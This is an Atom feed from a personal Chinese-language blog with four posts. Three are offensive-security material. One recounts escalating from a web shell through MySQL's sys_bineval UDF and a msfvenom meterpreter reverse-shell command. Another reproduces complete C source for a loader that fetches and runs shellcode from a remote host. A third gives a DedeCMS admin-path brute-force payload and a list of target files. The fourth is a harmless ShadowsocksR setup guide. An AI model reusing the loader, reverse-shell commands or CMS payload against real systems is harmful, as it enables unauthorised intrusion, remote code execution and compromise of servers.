<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Life&#39;s blog</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://life-time.me/"/>
  <updated>2020-02-03T13:41:29.992Z</updated>
  <id>http://life-time.me/</id>
  
  <author>
    <name>Life</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>udf之sys_bineval</title>
    <link href="http://life-time.me/2019/05/21/mysql_udf_sys_bineval/"/>
    <id>http://life-time.me/2019/05/21/mysql_udf_sys_bineval/</id>
    <published>2019-05-21T13:33:51.000Z</published>
    <updated>2020-02-03T13:41:29.992Z</updated>
    
    <content type="html"><![CDATA[<p>小技巧<br><a id="more"></a></p><h3 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h3><p>拿到shell，先摸清环境<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">win03+iis6+apache+php+mysql</span><br></pre></td></tr></table></figure></p><p>查看被禁用函数<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">System,exec,passthru</span><br></pre></td></tr></table></figure></p><p>尝试使用未被禁用函数以及调用com，asp等皆无法执行命令</p><h3 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h3><p>从某个盘的数据库备份文件翻到mysql的root密码，经过尝试发现被降权了，不过能导出udf，进而尝试创建函数执行命令，在使用sys_exec,sys_eval执行命令的时候………mysql炸了，没错，炸了，执行一次炸一次，而且并未成功执行命令<br>目光转向开放端口<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">80</span><br><span class="line">3306</span><br></pre></td></tr></table></figure></p><p>将root开启外连，使用sqlmap -d 进行连接，os-shell尝试执行命令，依然爆炸，将sqlmap的udf丢进winhex查看函数列表，发现有个函数(sys_bineval)可以进行内存加载shellcode，随即定位到sqlmap的os-pwn功能，使用这个功能的时候，首先尝试了几次未成功反弹shell，经过本地测试和实战测试对比并使用 -v 3进行debug，发现实战中os-pwn反弹shell的时候并未调用sys_bineval执行shellcode，本地测试也是偶尔可行(<em>垃圾sqlmap</em>)</p><h3 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h3><p>本地测试debug拿到payload，进行手工构造payload进行反弹shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX &gt; test ;cat test |xxd -c 9999 -ps</span><br></pre></td></tr></table></figure></p><p><img src="https://s2.ax1x.com/2019/05/22/V9wcnO.jpg" alt="V9wcnO.jpg"><br>反弹shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Select sys_bineval(0x填这);</span><br></pre></td></tr></table></figure></p><p><img src="https://s2.ax1x.com/2019/05/22/V9BseO.jpg" alt="V9BseO.jpg"></p><h3 id="0x04"><a href="#0x04" class="headerlink" title="0x04"></a>0x04</h3><p>Ms16-075 getsystem </p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;小技巧&lt;br&gt;
    
    </summary>
    
    
      <category term="mysql udf" scheme="http://life-time.me/tags/mysql-udf/"/>
    
  </entry>
  
  <entry>
    <title>custom loader</title>
    <link href="http://life-time.me/2019/02/03/custom-loader/"/>
    <id>http://life-time.me/2019/02/03/custom-loader/</id>
    <published>2019-02-03T10:41:39.000Z</published>
    <updated>2020-03-14T12:09:29.760Z</updated>
    
    <content type="html"><![CDATA[<p>https loader<br><a id="more"></a><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line">来自：https://github.com/peacand/msf-av-escape/blob/master/reverse_https/main_https.c</span><br><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;windows.h&gt;</span><br><span class="line">#include &lt;wininet.h&gt;</span><br><span class="line"></span><br><span class="line">#define HTTP_OPEN_FLAGS 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000</span><br><span class="line">/*</span><br><span class="line">  ;0x80000000 | ; INTERNET_FLAG_RELOAD</span><br><span class="line">  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE</span><br><span class="line">  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION</span><br><span class="line">  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT</span><br><span class="line">  ;0x00000200 | ; INTERNET_FLAG_NO_UI</span><br><span class="line">  ;0x00800000 | ; INTERNET_FLAG_SECURE</span><br><span class="line">  ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID</span><br><span class="line">  ;0x00001000   ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">#define OPTIONS_SECURITY_FLAGS 0x00003380 </span><br><span class="line">/*</span><br><span class="line">;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID</span><br><span class="line">;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID</span><br><span class="line">;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE</span><br><span class="line">;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA</span><br><span class="line">;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">int main(int argc, char * argv[]) &#123;</span><br><span class="line">char * stage;</span><br><span class="line">void(*stage_main)();</span><br><span class="line">HINTERNET hInternet;</span><br><span class="line">HINTERNET hHttpSession;</span><br><span class="line">HINTERNET hHttpRequest;</span><br><span class="line">int httpflags = OPTIONS_SECURITY_FLAGS;</span><br><span class="line">int recv_tmp = 0, recv_tot = 0;</span><br><span class="line">char *stage_index = NULL;</span><br><span class="line"></span><br><span class="line">/* We dont want the console prompt at screen */</span><br><span class="line">FreeConsole();</span><br><span class="line"></span><br><span class="line">/* Even it its SSL encrypted, lets set a User Agent, looks better :-) */</span><br><span class="line">hInternet = InternetOpen(&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)&quot;, 0, NULL, NULL, 0);</span><br><span class="line">hHttpSession = InternetConnect(hInternet, argv[1], atoi(argv[2]), NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);</span><br><span class="line">/* URL format is *important*, don&apos;t change it ! It tells what kind of payload (Native, Python, Java ..) is going to be injected afterwords */</span><br><span class="line">hHttpRequest = HttpOpenRequest(hHttpSession, &quot;GET&quot;, &quot;/1f7MA&quot;, &quot;HTTP/1.1&quot;, NULL, NULL, HTTP_OPEN_FLAGS, 0);</span><br><span class="line">/* Set SSL options to the HTTP request */</span><br><span class="line">InternetSetOption(hHttpRequest, INTERNET_OPTION_SECURITY_FLAGS, &amp;httpflags, 4);</span><br><span class="line">HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);</span><br><span class="line"></span><br><span class="line">/* We got the payload, lets allocate a big chunk of memory in RWX to put the whole thing in */</span><br><span class="line">stage = VirtualAlloc(0, 0x00400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"></span><br><span class="line">/* Read the payload from the previous http request and put it in our buffer */</span><br><span class="line">recv_tmp = 1;</span><br><span class="line">recv_tot = 0;</span><br><span class="line">stage_index = stage;</span><br><span class="line"></span><br><span class="line">while (recv_tmp &gt; 0) &#123;</span><br><span class="line">InternetReadFile(hHttpRequest, stage_index, 8192, (PDWORD)&amp;recv_tmp);</span><br><span class="line">recv_tot += recv_tmp;</span><br><span class="line">stage_index += recv_tmp;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/* Just jump at the beginning of the buffer */</span><br><span class="line">stage_main = (void(*)())stage;</span><br><span class="line">stage_main();</span><br><span class="line"></span><br><span class="line">/* We dont have to care about it, but anyway .. */</span><br><span class="line">InternetCloseHandle(hHttpSession);</span><br><span class="line">InternetCloseHandle(hInternet);</span><br><span class="line"></span><br><span class="line">return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;https loader&lt;br&gt;
    
    </summary>
    
    
      <category term="loader" scheme="http://life-time.me/tags/loader/"/>
    
  </entry>
  
  <entry>
    <title>SSR</title>
    <link href="http://life-time.me/2018/04/18/ssr/"/>
    <id>http://life-time.me/2018/04/18/ssr/</id>
    <published>2018-04-18T03:15:57.000Z</published>
    <updated>2020-02-03T13:45:05.483Z</updated>
    
    <content type="html"><![CDATA[<p>SSR<br><a id="more"></a></p><h3 id="GitHub-地址"><a href="#GitHub-地址" class="headerlink" title="GitHub 地址"></a>GitHub 地址</h3><blockquote><p>作者已经删除了该项目，下面这个是其他人fork的<br><a href="https://github.com/shadowsocksrr/shadowsocksr.git" target="_blank" rel="noopener">https://github.com/shadowsocksrr/shadowsocksr.git</a></p></blockquote><h3 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h3><p>先git下来</p><blockquote><p>git clone <a href="https://github.com/shadowsocksrr/shadowsocksr.git" target="_blank" rel="noopener">https://github.com/shadowsocksrr/shadowsocksr.git</a></p></blockquote><p>安装python以及pip<br><strong>ubuntu:</strong></p><blockquote><p>apt-get install python-gevent python-pip python-m2crypto python-wheel python-setuptools</p></blockquote><p>cd 到目录</p><blockquote><p>cd shadowsocksr</p></blockquote><p>初始化一下</p><blockquote><p>./initcfg.sh</p></blockquote><p>修改配置文件(端口，密码，加密等)</p><blockquote><p>vim user-config.json</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> &quot;server&quot;: &quot;0.0.0.0&quot;,</span><br><span class="line"> &quot;server_ipv6&quot;: &quot;::&quot;,</span><br><span class="line"> &quot;server_port&quot;: 8388, //自定义端口</span><br><span class="line"> &quot;local_address&quot;: &quot;127.0.0.1&quot;,</span><br><span class="line"> &quot;local_port&quot;: 1080,</span><br><span class="line"> </span><br><span class="line"> &quot;password&quot;: &quot;m&quot;, //密码</span><br><span class="line"> &quot;timeout&quot;: 120,</span><br><span class="line"> &quot;udp_timeout&quot;: 60,</span><br><span class="line"> &quot;method&quot;: &quot;aes-128-ctr&quot;, //加密</span><br><span class="line"> &quot;protocol&quot;: &quot;auth_aes128_md5&quot;, //协议</span><br><span class="line"> &quot;protocol_param&quot;: &quot;&quot;,</span><br><span class="line"> &quot;obfs&quot;: &quot;tls1.2_ticket_auth_compatible&quot;, //混淆，这里建议改成tls1.2_ticket_auth</span><br><span class="line"> &quot;obfs_param&quot;: &quot;&quot;,</span><br><span class="line"> &quot;speed_limit_per_con&quot;: 0,</span><br><span class="line"> &quot;speed_limit_per_user&quot;: 0,</span><br><span class="line"> </span><br><span class="line"> &quot;dns_ipv6&quot;: false,</span><br><span class="line"> &quot;connect_verbose_info&quot;: 0,</span><br><span class="line"> &quot;redirect&quot;: &quot;&quot;,</span><br><span class="line"> &quot;fast_open&quot;: false</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>改完保存，cd到shadowsocks</strong></p><blockquote><p>chmod +x *.sh   //给权限</p></blockquote><p>启动服务：</p><blockquote><p>./logrun.sh //后台运行<br>如果要调试就python server.py，关闭终端就会断开</p></blockquote><p>停止服务：</p><blockquote><p>./stop.sh</p></blockquote><p>查看日志：</p><blockquote><p>./tail.sh</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;SSR&lt;br&gt;
    
    </summary>
    
    
      <category term="小飞机" scheme="http://life-time.me/tags/%E5%B0%8F%E9%A3%9E%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>dede通配符爆破后台~</title>
    <link href="http://life-time.me/2018/03/03/dede%E9%80%9A%E9%85%8D%E7%AC%A6%E7%88%86%E7%A0%B4%E5%90%8E%E5%8F%B0/"/>
    <id>http://life-time.me/2018/03/03/dede通配符爆破后台/</id>
    <published>2018-03-03T04:37:18.000Z</published>
    <updated>2020-02-03T13:43:50.132Z</updated>
    
    <content type="html"><![CDATA[<h3 id="仅限win"><a href="#仅限win" class="headerlink" title="仅限win"></a>仅限win</h3><a id="more"></a><blockquote><p>exp(php):<a href="https://xianzhi.aliyun.com/forum/topic/2064**" target="_blank" rel="noopener">https://xianzhi.aliyun.com/forum/topic/2064**</a><br>exp(python3):<a href="https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/**" target="_blank" rel="noopener">https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/**</a></p></blockquote><ul><li>这个地方要说一下，包含了common.inc.php的都可以跑…..</li></ul><h3 id="包含了common-inc-php的文件"><a href="#包含了common-inc-php的文件" class="headerlink" title="包含了common.inc.php的文件:"></a>包含了common.inc.php的文件:</h3><ul><li><strong>这里二级目录爆破的话，exp的语句需要改一下</strong></li></ul> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dopost=save&amp;_FILES[b4dboy][tmp_name]=../$v$vv&lt;/images/admin_top_logo.gif&amp;_FILES[b4dboy][name]=0&amp;_FILES[b4dboy][size]=0&amp;_FILES[b4dboy][type]=image/gif</span><br></pre></td></tr></table></figure><blockquote><ul><li>/install/module_autos.php</li><li>/m/index.php</li><li>/m/list.php</li><li>/m/view.php</li><li>/member/config.php</li><li>/plus/ad_js.php</li><li>/plus/advancedsearch.php</li><li>/plus/arcmulti.php</li><li>/plus/bookfeedback.php</li><li>/plus/bookfeedback_js.php</li><li>/plus/car.php</li><li>/plus/carbuyaction.php</li><li>/plus/comments_frame.php</li><li>/plus/count.php</li><li>/plus/digg_ajax.php</li><li>/plus/digg_frame.php</li><li>/plus/disdls.php</li><li>/plus/diy.php</li><li>/plus/download.php</li><li>/plus/erraddsave.php</li><li>/plus/feedback.php</li><li>/plus/feedback_ajax.php</li><li>/plus/feedback_js.php</li><li>/plus/flink.php</li><li>/plus/flink_add.php</li><li>/plus/freelist.php</li><li>/plus/guestbook.php</li><li>/plus/heightsearch.php</li><li>/plus/list.php</li><li>/plus/mytag_js.php</li><li>/plus/posttocar.php</li><li>/plus/qrcode.php</li><li>/plus/recommend.php</li><li>/plus/rss.php</li><li>/plus/search.php</li><li>/plus/showphoto.php</li><li>/plus/stow.php</li><li>/plus/task.php</li><li>/plus/view.php</li><li>/plus/vote.php</li></ul></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;仅限win&quot;&gt;&lt;a href=&quot;#仅限win&quot; class=&quot;headerlink&quot; title=&quot;仅限win&quot;&gt;&lt;/a&gt;仅限win&lt;/h3&gt;
    
    </summary>
    
    
      <category term="通配符" scheme="http://life-time.me/tags/%E9%80%9A%E9%85%8D%E7%AC%A6/"/>
    
  </entry>
  
</feed>
